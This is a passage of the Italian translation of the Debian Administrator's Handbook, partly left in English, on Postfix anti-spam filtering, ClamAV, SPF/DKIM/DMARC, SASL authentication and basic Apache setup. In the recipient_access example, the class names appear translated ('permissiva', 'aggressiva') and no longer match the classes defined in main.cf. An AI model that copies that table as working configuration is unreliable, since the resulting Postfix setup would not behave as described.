Teoricamente il greylisting dovrebbe unicamente ritardare la ricezione della prima email da un dato mittente ad un dato destinatario e tipicamente questo ritardo si misura nell'ordine dei minuti. La realtà, purtroppo, può essere leggermente diversa. Alcuni grandi provider utilizzano cluster di server SMTP e quando un messaggio viene inizialmente rifiutato il server che riprova la trasmissione potrebbe non essere lo stesso. Quando ciò accade il secondo server ottiene un ulteriore messaggio d'errore temporaneo dovuto al greylisting e così via: in questi casi possono passare anche diverse ore prima che la trasmissione sia rieseguita da un server già coinvolto poiché normalmente i server SMTP incrementano gli intervalli tra un tentativo e l'altro dopo ogni fallimento.

Di conseguenza l'indirizzo IP di provenienza può variare nel tempo anche per un singolo mittente. Inoltre anche l'indirizzo email del mittente può cambiare. Per esempio molti server di mailing-list possono includere informazioni extra nell'indirizzo email del mittente per essere in grado di gestire i messaggi d'errore (spesso indicati anche con il termine bounce). Ad ogni nuovo messaggio inviato ad una mailing-list potrebbe essere richiesto di attraversare il greylisting cosa che richiede di essere conservato (temporaneamente) nel server del mittente. Questo può diventare presto un problema per le mailing-list molto frequentate (con decine di migliaia di iscritti).

Per mitigare questi effetti negativi, Postgrey gestisce una whitelist di siti, ed i messaggi da loro originati vengono immediatamente accettati senza passare attraverso il greylisting. Questa lista può essere facilmente adattata in base alle necessità locali, visto che è conservata nel file /etc/postgrey/whitelist_clients.

APPROFONDIMENTO Greylisting selettivo con milter-greylist

Gli effetti negativi del greylisting possono essere mitigati applicando il greylisting unicamente ad un sottoinsieme di client che sono già considerati come probabile sorgente di spam (poiché sono inseriti in una blacklist DNS). Questo non è possibile con postgrey ma milter-greylist può essere usato in questo modo.

In tal scenario, poichè le blacklist DNS non innescano mai un rifiuto definitivo, diventa ragionevole l'uso di blacklist aggressive, comprese quelle che includono tutti gli indirizzi IP dinamici assegnati dai Provider ai loro clienti (come pbl.spamhaus.org o dul.dnsbl.sorbs.net).

Poichè milter-greylist usa l'intrefaccia milter di Sendmail, il lato postix della sua configurazione è limitato a “smtpd_milters = unix:/var/run/milter-greylist/milter-greylist.sock”. La pagina del manuale greylist.conf(5) documenta /etc/milter-greylist/greylist.conf ed i numerosi modi di configurare milter-greylist. Inoltre sarà necessario modificare il file /etc/default/milter-greylist per consentire effettivamente il servizio.

11.1.5. Personalizzare i filtri in base al destinatario

La Sezione 11.1.3, «Restrizioni per ricezione ed invio» e la Sezione 11.1.4, «Impostare il greylisting» riportano molte delle possibili limitazioni. Tutte hanno un loro metodo per diminuire la quantità di spam ricevuto ma tutte hanno effetti collaterali. Quindi è sempre più comune personalizzare l'insieme di filtri in base al destinatario. Alla Falcot Corporation il greylisting è utile per la maggior parte degli utenti, ma ostacola l'attività di alcuni utenti che necessitano di una bassa latenza per le proprie email (come il servizio di supporto tecnico). Allo stesso modo il servizio di supporto commerciale incontra a volte delle difficoltà nella ricezione di email da alcuni provider asiatici che sono inseriti nelle blacklist: il servizio di supporto commerciale ha quindi richiesto un indirizzo email non filtrato per poter comunicare.

Postfix fornisce la personalizzazione sui filtri tramite il concetto di «restrizione di classe». Le classi sono dichiarate nel parametro smtpd_restriction_classes e sono definite come in smtpd_recipient_restrictions. La direttiva check_recipient_access definisce quindi una tabella che associa un destinatario ad un insieme appropriato di restrizioni.

Esempio 11.9. Definire classi di restrizione in main.cf

smtpd_restriction_classes = greylisting, aggressive, permissive

greylisting = check_policy_service inet:127.0.0.1:10023

aggressive =

reject_rbl_client sbl-xbl.spamhaus.org,

check_policy_service inet:127.0.0.1:10023

permissive = permit

smtpd_recipient_restrictions =

permit_mynetworks,

reject_unauth_destination,

check_recipient_access hash:/etc/postfix/recipient_access

Esempio 11.10. Il file /etc/postfix/recipient_access

# Indirizzi non filtrati

postmaster@falcot.com  permissiva

support@falcot.com     permissiva

sales-asia@falcot.com  permissiva

# Filtraggio aggressivo per alcuni utenti privilegiati

joe@falcot.com         aggressiva

# Una regola speciale per il manager della mailing-list

sympa@falcot.com       reject_unverified_sender

# Greylisting predefinito

falcot.com             greylisting

11.1.6. Integrare un antivirus

I molti virus che circolano come allegato email rendono importante impostare un antivirus al punto d'ingresso nella rete aziendale dal momento che, nonostante una costante campagna di sensibilizzazione, molti utenti continuano ad aprire anche i file allegati a messaggi palesemente loschi.

SICUREZZA Discussione controversa sul software antivirus

L'uso di scanner antivirus, il cosiddetto software antivirus, è controverso. Di solito c'è un divario tra il rilascio di qualche malware e l'aggiunta di regole di rilevamento al database antivirus. Durante questa lacuna, non esiste una protezione basata sul software. Inoltre, l'utilizzo richiede spesso di eseguire software aggiuntivo, ad esempio per decomprimere gli archivi e scansionare tutti i tipi di eseguibili, il che aumenta drasticamente il potenziale sfruttamento del software antivirus stesso. L'utilizzo di tali soluzioni software non può quindi mai sostituire campagne di sensibilizzazione e semplici regole comportamentali (non aprire mai allegati inviati non richiesti, ecc.).

Gli amministratori della Falcot hanno scelto clamav come loro antivirus libero. Il pacchetto principale è clamav ma hanno installato alcuni altri pacchetti aggiuntivi come arj, unzoo, unrar e lha, poiché sono richiesti dall'antivirus per analizzare gli allegati archiviati in uno di questi formati.

Il compito di interfacciare l'antivirus ed il server di posta è affidato a clamav-milter. Un milter (abbreviazione dell'inglese mail filter) è un programma di filtraggio realizzato appositamente per interfacciarsi con i server di posta. Un milter utilizza un'interfaccia di programmazione standard (API) che fornisce prestazioni nettamente migliori rispetto ai filtri esterni ai server di posta. I milter sono stati introdotti inizialmente da Sendmail e Postfix ha presto seguito l'esempio.

APPROFONDIMENTO Un milter per Spamassassin

Il pacchetto spamass-milter fornisce un milter basato su SpamAssassin, il famoso rilevatore di email non richieste. Può essere impiegato per etichettare i messaggi come probabile spam, aggiungendo un header addizionale, o per rifiutare del tutto i messaggi se il loro punteggio di probabile spam, definito «spamminess» in lingua inglese, supera un determinata soglia.

Una volta che il pacchetto clamav-milter è installato, il milter deve essere riconfigurato per l'esecuzione su una porta TCP piuttosto che sul socket predefinito. Ciò può essere ottenuto con dpkg-reconfigure clamav-milter. Quando viene richiesta "L'interfaccia di comunicazione con Sendmail", verrà risposto “inet:10002@127.0.0.1”.

NOTA Porta TCP reale contro cosiddetta socket

Il motivo per cui viene usata una vera e propria porta TCP piuttosto che una socket è che i demoni postfix spesso sono eseguiti sotto chroot e non hanno accesso alla directory che ospita la socket. Si potrebbe anche decidere di continuare ad usare la socket e scegliere una posizione all'interno di chroot (/var/spool/postfix/).

La configurazione standard di ClamAV è adeguata per molte situazioni, ma alcuni parametri importanti possono comunque essere personalizzati con dpkg-reconfigure clamav-base.

Come ultimo passo è necessario istruire Postfix affinché utilizzi i filtri appena configurati. Per farlo è sufficiente aggiungere la seguente direttiva a /etc/postfix/main.cf:

# Controllo virus con clamav-milter

smtpd_milters = inet:[127.0.0.1]:10002

Se l'antivirus causa problemi, questa riga può essere commentata, e dev'essere eseguito systemctl reload postfix perché la modifica sia applicata.

IN PRATICA Verificare l'antivirus

Un volta configurato l'antivirus, è necessario verificare il suo corretto funzionamento. Il metodo più veloce per farlo è inviare un'email di prova con un allegato contenente il file eicar.com (o eicar.com.zip), che può essere scaricato online:

→ https://2016.eicar.org/86-0-Intended-use.html

Questo file non è un vero virus ma un file di test che tutti i software antivirus sul mercato riconoscono come un virus per consentire la verifica delle installazioni.

Tutti i messaggi gestiti da Postfix passano ora attraverso il filtro antivirus.

11.1.7. Combattere lo spam con SPF, DKIM e DMARC

L'elevato numero di email non richieste inviate ogni giorno ha portato alla creazione di diversi standard, che mirano a convalidare che l'host di invio di un'email è autorizzato e che l'email non è stata manomessa. I seguenti sistemi sono tutti basati su DNS e richiedono, per il dominio in questione, che gli amministratori abbiano il controllo sia sul server di posta che sul DNS.

ATTENZIONE Discussione controversa

Come qualsiasi altro strumento, i seguenti standard hanno limiti ed effetti reali se utilizzati. Possono (e dovrebbero) portare a respingere le email o addirittura scartarle. Se ciò accade ad alcuni messaggi di posta elettronica legittimi (a volte inviati da un server SMTP non configurato correttamente), potrebbero causare rabbia ed incomprensione da parte dell'utente. Pertanto queste regole vengono spesso applicate come "soft fail" o "soft reject", il che di solito significa che il mancato superamento dei controlli porta solo all'aggiunta di una voce (nell'intestazione) all'email interessata. Ci sono persone che pensano che questo renda questi standard "broken by design". Decidi tu stesso e fai attenzione a quanto sei rigoroso nello scegliere di applicare questi standard.

11.1.7.1. Integrazione del Sender Policy Framework (SPF)

Il Sender Policy Framework (SPF) è utilizzato per convalidare se un certo server di posta è autorizzato ad inviare email per un determinato dominio. È per lo più configurato attraverso il DNS. La sintassi della voce (record) da inserire è spiegata in dettaglio su:

→ http://www.open-spf.org/SPF_Record_Syntax

→ https://tools.ietf.org/html/rfc7208

→ https://en.wikipedia.org/wiki/Sender_Policy_Framework

Quella che segue, è un esempio di voce DNS che specifica che tutti i Mail Exchange Resource Records (MX-RRs) del dominio sono autorizzati ad inviare email al dominio corrente, e tutti gli altri sono proibiti. Non è necessario dare un nome alla voce DNS. Ma per usare la direttiva include deve averne uno.

Name: example.org

Type: TXT

TTL:  3600

Data: v=spf1 a mx -all

Diamo un'occhiata veloce alla voce falcot.org.

# host -t TXT falcot.org

falcot.org descriptive text "v=spf1 ip4:199.127.61.96 +a +mx +ip4:206.221.184.234 +ip4:209.222.96.251 ~all"

Esso afferma che l'IP del mittente deve corrispondere al record A per il dominio di invio, o deve essere elencato come uno dei Mail Exchange Resource Records per il dominio corrente, o deve essere uno dei tre indirizzi IP4 menzionati. Tutti gli altri host devono essere contrassegnati come non autorizzati ad inviare email per il dominio mittente. Quest'ultimo è chiamato "soft fail" e, di conseguenza, ha lo scopo di contrassegnare l'email, ma di accettarla comunque.

Il server di posta postfix può controllare il record SPF per le email in arrivo usando il pacchetto postfix-policyd-spf-python, un agente di policy scritto in Python. Il file /usr/share/doc/postfix-policyd-spf-python/README.Debian descrive i passi necessari per integrare l'agente in postfix, quindi non li ripeteremo qui.

La configurazione è definita nel file /etc/postfix-policyd-spf-python/policyd-spf.conf, che è completamente documentato in policyd-spf.conf(5) e /usr/share/doc/postfix-policyd-spf-python/policyd-spf.conf.commented.gz. I principali parametri di configurazione sono HELO_reject e Mail_From_reject, che configurano se le email devono essere rifiutate (Fail) o accettate inserendo nell'intestazione (False), se i controlli falliscono. Quest'ultimo è spesso utile, quando il messaggio viene ulteriormente elaborato da un filtro antispam.

Se il risultato dovrà essere usato da opendmarc (Sezione 11.1.7.3, «Integrating Domain-based Message Authentication, Reporting and Conformance (DMARC)»), allora Header_Type dev'essere impostato su AR.

Da notare che spamassassin contiene un plugin per controllare il record SPF.

11.1.7.2. Integrazione della firma e del controllo DKIM (DomainKeys)

Il Domain Keys Identified Mail (DKIM) è un sistema, standard, di autenticazione del mittente. L'agente di trasporto della posta, qui postfix, aggiunge nell'intestazione delle email in uscita una firma digitale associata al nome del dominio. La parte ricevente può convalidare il corpo del messaggio e i campi dell'intestazione controllando la firma con una chiave pubblica che viene recuperata dai record DNS del mittente.

→ http://dkim.org/

Gli strumenti necessari sono forniti dai pacchetti opendkim e opendkim-tools.

ATTENZIONE Software per mailing list e DKIM

Mailing list managers often rewrite some email headers, thus leading to invalid DKIM signatures. Even using a relaxed canonicalization does not always prevent this from happening. So the administrators must pay close attention to the mail severs log files to identify such issues. Otherwise such emails might be flagged as spam and might get rejected.

Per prima cosa dev'essere creata la chiave privata usando il comando opendkim-genkey -s SELECTOR -d DOMAIN. SELECTOR dev'essere un nome univoco per la chiave. Può essere semplice come "mail" o la data di creazione, se hai intenzione di ruotare le chiavi.

Esempio 11.11. Creare una chiave privata per firmare le e-mail da falcot.com

# opendkim-genkey -s mail -d falcot.com -D /etc/dkimkeys

# chown opendkim.opendkim /etc/dkimkeys/mail.*

Questo creerà i file /etc/dkimkeys/mail.private e /etc/dkimkeys/mail.txt ed imposterà il corretto proprietario. Il primo file contiene la chiave privata, il secondo la chiave pubblica che dev'essere aggiunta al DNS:

Name: mail._domainkey

Type: TXT

TTL:  3600

Data: "v=DKIM1; h=sha256; k=rsa; s=email; p=[...]"

The opendkim package in Debian defaults to a keysize of 2048 bit. Unfortunately some DNS servers can only handle text entries with a maximum length of 255 characters, which is exceeded by the chosen default keysize. In this case use the option -b 1024 to chose a smaller keysize. If opendkim-testkey succeeds, the entry has been successfully set up. The syntax of the entry is explained here:

→ https://tools.ietf.org/html/rfc6376

→ https://en.wikipedia.org/wiki/DKIM

To configure opendkim, SOCKET and RUNDIR must be chosen in /etc/default/opendkim. Please note that SOCKET must be accessible from postfix in its chrooted environment. The further configuration is done in /etc/opendkim.conf. The following is a configuration excerpt, which makes sure that the Domain "falcot.com" and all subdomains (SubDomain) are signed by the Selector "mail" and the single private key (KeyFile) /etc/dkimkeys/mail.private. The "relaxed" Canonicalization for both the header and the body tolerates mild modification (by a mailing list software, for example). The filter runs both in signing ("s") and verification ("v") Mode. If a signature fails to validate (On-BadSignature), the mail should be quarantined ("q").

[...]

Domain                  falcot.com

KeyFile                 /etc/dkimkeys/mail.private

Selector                mail

[...]

Canonicalization        relaxed/relaxed

Mode                    sv

On-BadSignature         q

SubDomains              yes

[...]

Socket                  inet:12345@localhost

[...]

UserID                  opendkim

It is also possible to use multiple selectors/keys (KeyTable), domains (SigningTable) and to specify internal or trusted hosts (InternalHosts, ExternalIgnoreList), which may send mail through the server as one of the signing domains without credentials.

Le seguenti direttive nel file /etc/postfix/main.cf consentono a postfix l'uso del filtro:

milter_default_action = accept

non_smtpd_milters = inet:localhost:12345

smtpd_milters = inet:localhost:12345

To differentiate signing and verification it is sometimes more useful to add the directives to the services in /etc/postfix/master.cf instead.

More information is available in the /usr/share/doc/opendkim/ directory and the manual pages opendkim(8) and opendkim.conf(5).

Note that spamassassin contains a plugin to check the DKIM record.

11.1.7.3. Integrating Domain-based Message Authentication, Reporting and Conformance (DMARC)

The Domain-based Message Authentication, Reporting and Conformance (DMARC) standard can be used to define a DNS TXT entry with the name _dmarc and the action that should be taken when emails that contain your domain as the sending host fail to validate using DKIM and SPF.

→ https://dmarc.org/overview/

Let's have a look at the entries of two large providers:

# host -t TXT _dmarc.gmail.com

_dmarc.gmail.com descriptive text "v=DMARC1; p=none; sp=quarantine; rua=mailto:mailauth-reports@google.com"

# host -t TXT _dmarc.yahoo.com

_dmarc.yahoo.com descriptive text "v=DMARC1; p=reject; pct=100; rua=mailto:dmarc_y_rua@yahoo.com;"

Yahoo has a strict policy to reject all emails pretending to be sent from a Yahoo account but missing or failing DKIM and SPF checks. Google Mail (Gmail) propagates a very relaxed policy, in which such messages from the main domain should still be accepted (p=none). For subdomains they should be marked as spam (sp=quarantine). The addresses given in the rua key can be used to send aggregated DMARC reports to. The full syntax is explained here:

→ https://tools.ietf.org/html/rfc7489

→ https://en.wikipedia.org/wiki/DMARC

The postfix mail server can use this information too. The opendmarc package contains the necessary milter. Similar to opendkim SOCKET and RUNDIR must be chosen in /etc/default/opendmarc (for Unix sockets you must make sure that they are inside the postfix chroot to be found). The configuration file /etc/opendmarc.conf contains detailed comments and is also explained in opendmarc.conf(5). By default, emails failing the DMARC validation are not rejected but flagged, by adding an appropriate header field. To change this, use RejectFailures true.

The milter is then added to smtpd_milters and non_smtpd_milters. If we configured the opendkim and opendmarc milters to run on ports 12345 and 54321, the entry in /etc/postfix/main.cf looks like this:

non_smtpd_milters = inet:localhost:12345,inet:localhost:54321

smtpd_milters = inet:localhost:12345,inet:localhost:54321

The milter can also be selectively applied to a service in /etc/postfix/master.cf instead.

11.1.8. SMTP autenticato

Per poter inviare email è necessario un server SMTP che sia raggiungibile; ed inoltre è necessario dire al server SMTP di inviare email attraverso di esso. Per gli utenti in movimento, questo potrebbe dire di dover cambiare regolarmente la configurazione dei propri client SMTP, dato che il server SMTP della Falcot rifiuta i messaggi provenienti da indirizzi IP apparentemente non correlati con l'azienda. Esistono due soluzioni a questo problema: l'utente in movimento può installare un server SMTP sul proprio computer oppure continuare ad utilizzare il server aziendale con qualche tipo di autenticazione che lo riconosca come dipendente. La prima soluzione non è raccomandata dato che il computer non sarà connesso permanentemente e non sarà quindi in grado di ritentare l'invio dei messaggi in caso di problemi: ci concentreremo quindi sulla seconda soluzione.

L'autenticazione SMTP con Postfix fa affidamento su SASL (Simple Authentication and Security Layer). Richiede l'installazione dei pacchetti libsasl2-modules e sasl2-bin e la registrazione di una password nel database SASL per ogni utente che necessita di autenticarsi sul server SMTP. Questo è realizzabile per mezzo del comando saslpasswd2 che accetta diversi parametri. L'opzione -u definisce il dominio di autenticazione e deve corrispondere al parametro smtpd_sasl_local_domain nella configurazione di Postfix. L'opzione -c consente di creare un utente e -f permette di specificare il file da usare se il database SASL necessita di essere conservato in una posizione diversa da quella predefinita (/etc/sasldb2).

# saslpasswd2 -u `postconf -h myhostname` -f /var/spool/postfix/etc/sasldb2 -c jean

[... type jean's password twice ...]

Notare che il database di SASL viene creato nella directory di Postfix. Per assicurare la coerenza modifichiamo /etc/sasldb2 in un collegamento simbolico che punta al database utilizzato da Postfix con il comando ln -sf /var/spool/postfix/etc/sasldb2 /etc/sasldb2.

A questo punto è necessario configurare Postfix affinché utilizzi SASL. Prima di tutto l'utente postfix dev'essere aggiunto al gruppo sasl così che possa accedere al database degli account SASL. Alcuni nuovi parametri sono inoltre necessari per abilitare SASL e il parametro smtpd_recipient_restrictions dev'essere configurato per consentire ai client autenticati da SASL di inviare email liberamente.

Esempio 11.12. Abilitare SASL nel file /etc/postfix/main.cf

# Enable SASL authentication

smtpd_sasl_auth_enable = yes

# Define the SASL authentication domain to use

smtpd_sasl_local_domain = $myhostname

[...]

# Adding permit_sasl_authenticated before reject_unauth_destination

# allows relaying mail sent by SASL-authenticated users

smtpd_recipient_restrictions =

permit_sasl_authenticated,

permit_mynetworks,

reject_unauth_destination,

[...]

It is usually a good idea to not send passwords over an unencrypted connection. Postfix allows to use different configurations for each port (service) it runs on. All these can be configured with different rules and directives in the /etc/postfix/master.cf file. To turn off authentication at all for port 25 (smtpd service) add the following directive:

smtp      inet  n       -       y       -       -       smtpd

[..]

-o smtpd_sasl_auth_enable=no

[..]

If for some reason clients use an outdated AUTH command (some very old mail clients do), interoperability with them can be enabled using the broken_sasl_auth_clients directive.

EXTRA Client SMTP autenticati

La maggior parte dei client email sono in grado di autenticarsi presso un server SMTP prima di inviare i messaggi in uscita e per utilizzare questa funzionalità basta semplicemente configurare i parametri appropriati. Se il client in uso non fornisce questa funzionalità è possibile utilizzare un server Postfix locale e configurarlo per inoltrare le email attraverso il server SMTP remoto. In questo caso, il Postfix locale diventerà a sua volta il client che andrà ad autenticarsi con SASL. I parametri richiesti sono i seguenti:

smtp_sasl_auth_enable = yes

smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd

relay_host = [mail.falcot.com]

Il file /etc/postfix/sasl_passwd deve contenere il nome utente e la password da utilizzare per autenticarsi sul server mail.falcot.com. Ecco un esempio:

[mail.falcot.com]   joe:LyinIsji

Così come per tutte le mappe Postfix questo file dev'essere trasformato in /etc/postfix/sasl_passwd.db con l'impiego del comando postmap.

11.2. Server web (HTTP)

The Falcot Corp administrators decided to use the Apache HTTP server, included in Debian Buster at version 2.4.38.

ALTERNATIVE Altri server web

Apache è semplicemente il più noto (e largamente impiegato) tra i server web, ma ne esistono altri: possono offrire prestazioni migliori in caso di determinati carichi di lavoro, ma pagano il prezzo di un numero inferiore di funzionalità e moduli. Ad ogni modo, se la prospettiva del server web è quella di servire file statici oppure agire come proxy le alternative come nginx e lighttpd meritano di essere approfondite.

11.2.1. Installare Apache

Installing the apache2 package is all that is needed. It contains all the modules, including the Multi-Processing Modules (MPMs) that affect how Apache handles parallel processing of many requests, which used to be provided in separate apache2-mpm-* packages. It will also pull apache2-utils containing the command line utilities that we will discover later.

L'MPM in uso influenza in modo significativo il modo in cui Apache gestirà richieste simultanee. Con il worker MPM, utilizza threads (processi leggeri), mentre con il prefork MPM utilizza una serie di processi creati in anticipo. Con event MPM anche utilizza i threads, ma le connessioni inattive (in particolare quelle tenute aperte dalla funzione HTTP keep-alive) vengono consegnate ad una gestione dedicata del thread.

The Falcot administrators also install libapache2-mod-php7.3 so as to include the PHP support in Apache. This causes the default event MPM to be disabled, and prefork to be used instead. To use the event MPM one can use php7.3-fpm.

SICUREZZA Esecuzione con l'utente www-data

In via predefinita Apache gestisce le richieste in arrivo come fosse l'utente www-data. Questo significa che una vulnerabilità in uno script CGI eseguito da Apache (per una pagina dinamica) non comprometterebbe l'intero sistema, ma solo i file di proprietà di questo particolare utente.

Usare i moduli suexec, forniti dal pacchetto apache2-suexec-*, permette di eludere questa regola per permettere ad alcuni script CGI di essere eseguiti con l'identità di un altro utente. Questo è configurato con una direttiva SuexecUserGroup utentegruppo nel file di configurazione di Apache.

Un'altra possibilità è l'utilizzo di un MPM dedicato, come quello fornito da apache2-mpm-itk. Questo particolare MPM che ha un comportamento leggermente differente: permette di "isolare" gli host virtuali (in realtà, gruppi di pagine) in modo che possano essere eseguiti ciascuno con un utente differente. Una vulnerabilità in un sito web non potrà quindi compromettere i file appartenenti al proprietario di un altro sito.

APPROFONDIMENTO Lista di moduli

The full list of Apache standard modules can be found online.

→ https://httpd.apache.org/docs/2.4/mod/index.html

Apache è un server modulare e molte funzionalità sono implementate da moduli esterni che il programma principale carica durante la fase di inizializzazione. La configurazione predefinita abilita solo i moduli più comuni ma abilitare un modulo è semplice: basta eseguire a2enmod modulo. Per disabilitare un modulo il comando è a2dismod modulo. Questi programmi non fanno altro che creare (o rimuovere) i collegamenti simbolici in /etc/apache2/mods-enabled/ che puntano ai file (conservati in /etc/apache2/mods-available/).

IN PRACTICE Checking the configuration

The mod_info module (a2enmod info) allows to access the comprehensive Apache server configuration and information via browser visiting http://localhost/server-info. Because it might contain sensitive information, access is only allowed from the local host by default.

→ https://httpd.apache.org/docs/2.4/mod/mod_info.html

Con la sua configurazione predefinita, il server web rimane in ascolto sulla porta 80 (come configurato in /etc/apache2/ports.conf), e serve le pagine dalla directory /var/www/html/ (come configurato in /etc/apache2/sites-enabled/000-default.conf).

11.2.2. Adding support for SSL

Apache 2.4 includes the SSL module (mod_ssl) required for secure HTTP (HTTPS) out of the box. It just needs to be enabled with a2enmod ssl, then the required directives have to be added to the configuration files. A configuration example is provided in /etc/apache2/sites-available/default-ssl.conf.

→ https://httpd.apache.org/docs/2.4/mod/mod_ssl.html

If you want to generate trusted certificates, you can follow section Sezione 10.2.1, «Creating gratis trusted certificates» and then adjust the following variables:

SSLCertificateFile      /etc/letsencrypt/live/DOMAIN/fullchain.pem

SSLCertificateKeyFile   /etc/letsencrypt/live/DOMAIN/privkey.pem

SSLCertificateChainFile /etc/letsencrypt/live/DOMAIN/chain.pem

SSLCACertificateFile    /etc/ssl/certs/ca-certificates.crt

Some extra care must be taken if you want to favor SSL connections with Perfect Forward Secrecy (those connections use ephemeral session keys ensuring that a compromission of the server's secret key does not result in the compromission of old encrypted traffic that could have been stored while sniffing on the network). Have a look at Mozilla's recommendations in particular:

→ https://wiki.mozilla.org/Security/Server_Side_TLS#Apache

As an alternative to the standard SSL module, there is an extension module called mod_gnutls, which is shipped with the libapache2-mod-gnutls package and enabled with the a2enmod gnutls command.

→ https://mod.gnutls.org/

11.2.3. Configurare gli host virtuali

Un host virtuale è una identità aggiuntiva per il server web.

Apache considera due tipologie differenti di host virtuali: quelli che sono basati sull'indirizzo IP (o sulla porta) e quelli che si affidano al nome di dominio del server web. Il primo metodo richiede di allocare indirizzi IP (o porte) differenti per ogni sito, mentre il secondo metodo può funzionare con un singolo IP (ed una sola porta) e i siti vengono differenziati dal nome host inviato dal client HTTP (cosa che funziona unicamente con la versione 1.1 del protocollo HTTP che comunque è fortunatamente abbastanza vecchia da essere attualmente utilizzata su tutti i client).

La (crescente) carenza di indirizzi IPv4 favorisce in genere il secondo metodo anche se questo è reso più complesso qualora gli host virtuali necessitino di fornire anche HTTPS poiché il protocollo SSL non è sempre disponibile in caso di host virtuali basati sul nome. L'estensione SNI (Server Name Indication) che permette questo genere di combinazione non è supportata da tutti i browser. Quando più siti HTTPS necessitano di girare sullo stesso server vengono spesso differenziati utilizzando una porta o un indirizzo IP differente (IPv6 in questo caso può essere d'aiuto).

La configurazione predefinita per Apache 2 abilita gli host virtuali basati sul nome. Inoltre, è definito un host virtuale predefinito nel file /etc/apache2/sites-enabled/000-default.conf: questo host virtuale viene utilizzato qualora non venga trovato alcun host che corrisponde alla richiesta inviata dal client.

ATTENZIONE Il primo host virtuale

Le richieste che riguardano host virtuali sconosciuti sono sempre servite dal primo host virtuale definito: ecco perché abbiamo definito www.falcot.com per primo.

APPROFONDIMENTO Apache supporta SNI

Il server Apache supporta un'estensione del protocollo SSL chiamata Server Name Indication (SNI). Questa estensione permette al browser di inviare il nome host del server web durante l'avvio di una connessione SSL, cioè molto prima della stessa richiesta HTTP, che veniva precedentemente utilizzata per identificare l'host virtuale richiesto tra quelli ospitati sullo stesso server (con lo stesso indirizzo IP e la stessa porta). Questo permette ad Apache di selezionare il certificato SSL più appropriato per la connessione da stabilire.

Prima di SNI, Apache avrebbe sempre utilizzato il certificato definito nell'host virtuale predefinito. I client che tentavano di accedere ad un altro host virtuale visualizzavano degli avvertimenti poiché il certificato ricevuto non corrispondeva al sito web a cui avevano tentato di accedere. Fortunatamente oggi la maggior parte dei browser supportano SNI: tra questi Microsoft Internet Explorer a partire dalla versione 7.0 (iniziando da Vista), Mozilla Firefox dalla versione 2.0, Apple Safari dalla versione 3.2.1 e Google Chrome in tutte le sue versioni.

Il pacchetto Apache fornito in Debian è costruito con il supporto per SNI; non è quindi necessaria alcuna configurazione particolare.

Ogni host virtuale aggiuntivo viene descritto da un file conservato in /etc/apache2/sites-available/. Quindi impostare un sito web per il dominio falcot.org richiede semplicemente la creazione del file seguente e l'abilitazione dell'host virtuale con a2ensite www.falcot.org.

Esempio 11.13. Il file /etc/apache2/sites-available/www.falcot.org.conf

<VirtualHost *:80>

ServerName   www.falcot.org

ServerAlias  falcot.org

DocumentRoot /srv/www/www.falcot.org

</VirtualHost>

Il server Apache, configurato come visto, utilizza gli stessi file di log per tutti gli host virtuali (anche se questo può essere modificato inserendo direttive CustomLog nelle definizioni degli host virtuali). Questo è un buon motivo per personalizzare il formato di questo file di log perché includa il nome dell'host virtuale. Questo può essere fatto creando un file /etc/apache2/conf-available/customlog.conf che definisce un nuovo formato per tutti i file di log (con la direttiva LogFormat) ed abilitandolo con a2enconf customlog. La riga CustomLog dev'essere quindi rimossa (o commentata) dal file /etc/apache2/sites-available/000-default.conf.

Esempio 11.14. The /etc/apache2/conf-available/customlog.conf file

# Nuovo formato di log che include il nome dell'host (virtuale)

LogFormat "%v %h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" vhost

# Quindi utilizziamo questo formato "vhost" in via predefinita

CustomLog /var/log/apache2/access.log vhost

11.2.4. Direttive comuni

Questa sezione esamina brevemente alcune delle direttive di configurazione di uso comune di Apache.

Il file di configurazione principale include generalmente diversi blocchi Directory che consentono di specificare diversi comportamenti per il server in base alla posizione del file che dev'essere servito. Un blocco generalmente include le direttive Options e AllowOverride.

Esempio 11.15. Blocco Directory

<Directory /srv/www>

Options Includes FollowSymlinks

AllowOverride All

DirectoryIndex index.php index.html index.htm

</Directory>

La direttiva DirectoryIndex contiene una lista di file da provare quando la richiesta del client corrisponde ad una directory. Il primo file nella lista che esiste viene inviato come risposta.

La direttiva Options è seguita da una lista di opzioni da abilitare. Il valore None disabilita tutte le opzioni; così come, All le abilita tutte ad eccezione di MultiViews. Le opzioni disponibili includono:

- ExecCGI indicates that CGI scripts can be executed.

- FollowSymlinks tells the server that symbolic links can be followed, and that the response should contain the contents of the target of such links.

- SymlinksIfOwnerMatch also tells the server to follow symbolic links, but only when the link and the its target have the same owner.

- Includes enables Server Side Includes (SSI for short). These are directives embedded in HTML pages and executed on the fly for each request.

- IncludesNOEXEC allows Server Side Includes (SSI) but disables the exec command and limits the include directive to text/markup files.

- Indexes tells the server to list the contents of a directory if the HTTP request sent by the client points at a directory without an index file (i.e., when no files mentioned by the DirectoryIndex directive exists in this directory).

- MultiViews enables content negotiation; this can be used by the server to return a web page matching the preferred language as configured in the browser.

FONDAMENTALI il file .htaccess

Il file .htaccess contiene direttive di configurazione Apache da applicare ogni volta che una richiesta riguarda un elemento della directory dov'è contenuto. Il campo d'applicazione di queste direttive riguarda ricorsivamente anche tutte le sottodirectory al suo interno.

La maggior parte delle direttive che possono apparire in un blocco Directory sono anche permesse in un file .htaccess.

La direttiva AllowOverride elenca tutte le opzioni che possono essere abilitate o disabilitate attraverso un file .htaccess. Un utilizzo comune di questa opzione riguarda la limitazione di ExecCGI per permettere all'amministratore di scegliere quali utenti sono autorizzati ad eseguire programmi con l'identità del server web (l'utente www-data).

11.2.4.1. Richiedere un'autenticazione

In alcune circostanze l'accesso a parte dei contenuti di un sito web deve essere ristretto ai soli utenti autorizzati che forniscono un nome utente ed una password.

Esempio 11.16. Richiedere l'autenticazione con un file .htaccess

Require valid-user

AuthName "Directory privata"

AuthType Basic

AuthUserFile /etc/apache2/authfiles/htpasswd-private

SICUREZZA Nessuna sicurezza

Il sistema di autenticazione utilizzato nell'esempio visto in precedenza (Basic) fornisce una sicurezza minima poiché la password è inviata in chiaro (è semplicemente codificata in base64 che è una semplice codifica anziché un metodo di cifratura). Va inoltre sottolineato che anche i documenti «protetti» da questo meccanismo passano attraverso la rete in chiaro. Se la sicurezza è importante l'intera connessione HTTP dovrebbe essere cifrata con SSL.

Il file /etc/apache2/authfiles/htpasswd-private contiene una lista di utenti e password che sono generalmente manipolati con il comando htpasswd. Per esempio il seguente comando è utilizzato per aggiungere un utente o cambiare la sua password:

# htpasswd /etc/apache2/authfiles/htpasswd-private utente

New password:

Re-type new password:

Adding password for user user

